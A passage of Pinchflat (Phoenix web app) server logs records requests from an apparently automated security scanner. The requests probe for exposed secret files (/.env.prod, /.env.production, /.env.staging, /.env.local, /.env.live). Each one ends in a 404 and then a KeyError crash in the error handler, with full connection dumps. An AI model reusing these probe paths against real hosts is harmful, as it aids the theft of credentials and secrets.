{PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162663.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.prod", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 42634}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "130.12.180.126", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "130.12.180.126" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162663.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.prod", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 42634}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "130.12.180.126", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "130.12.180.126" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162664.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "130.12.180.126"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "130.12.180.126"} ], request_path: "/.env.prod", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dHP (truncated) 17:50:06.709 [info] GET /.env.production 17:50:06.709 [debug] QUERY OK source="settings" db=0.2ms idle=967.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:06.709 [debug] QUERY OK source="settings" db=0.1ms idle=967.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:06.710 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:50:06.710 [error] #PID<0.162666.0> running PinchflatWeb.Endpoint (connection #PID<0.162665.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /.env.production ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162665.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.production", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 42638}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "130.12.180.126", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "130.12.180.126" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162666.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "130.12.180.126"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "130.12.180.126"} ], request_path: "/.env.production", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dHRoVmN7iBrQAFoAB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162665.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.production", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 42638}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "130.12.180.126", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "130.12.180.126" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162665.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.production", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 42638}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "130.12.180.126", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "130.12.180.126" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162666.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "130.12.180.126"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "130.12.180.126"} ], request_path: "/.env.production", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, (truncated) 17:50:07.526 [info] GET /.env.staging 17:50:07.526 [debug] QUERY OK source="settings" db=0.2ms idle=816.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:07.526 [debug] QUERY OK source="settings" db=0.2ms idle=816.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:07.527 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:50:07.527 [error] #PID<0.162668.0> running PinchflatWeb.Endpoint (connection #PID<0.162667.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /.env.staging ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162667.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.staging", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 42654}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "130.12.180.126", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "130.12.180.126" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162668.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "130.12.180.126"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "130.12.180.126"} ], request_path: "/.env.staging", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dHUrIRaRIIkUAFoAh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162667.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.staging", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 42654}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "130.12.180.126", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "130.12.180.126" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162667.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.staging", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 42654}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "130.12.180.126", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "130.12.180.126" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162668.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "130.12.180.126"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "130.12.180.126"} ], request_path: "/.env.staging", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-re (truncated) 17:50:08.684 [info] GET /.env.local 17:50:08.685 [debug] QUERY OK source="settings" db=0.2ms idle=1401.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:08.685 [debug] QUERY OK source="settings" db=0.1ms idle=1382.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:08.685 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:50:08.686 [error] #PID<0.162670.0> running PinchflatWeb.Endpoint (connection #PID<0.162669.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /.env.local ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162669.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.local", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 42662}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "130.12.180.126", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "130.12.180.126" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162670.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "130.12.180.126"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "130.12.180.126"} ], request_path: "/.env.local", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dHY_aZq6tMWcAFoBB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162669.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.local", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 42662}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "130.12.180.126", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "130.12.180.126" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162669.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.local", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 42662}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "130.12.180.126", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "130.12.180.126" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162670.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "130.12.180.126"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "130.12.180.126"} ], request_path: "/.env.local", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", " (truncated) 17:50:09.196 [info] GET /.env.live 17:50:09.196 [debug] QUERY OK source="settings" db=0.1ms idle=1670.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:09.197 [debug] QUERY OK source="settings" db=0.1ms idle=1670.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:09.197 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:50:09.197 [error] #PID<0.162672.0> running PinchflatWeb.Endpoint (connection #PID<0.162671.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /.env.live ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162671.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.live", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 42676}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "130.12.180.126", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "130.12.180.126" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162672.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "130.12.180.126"}, 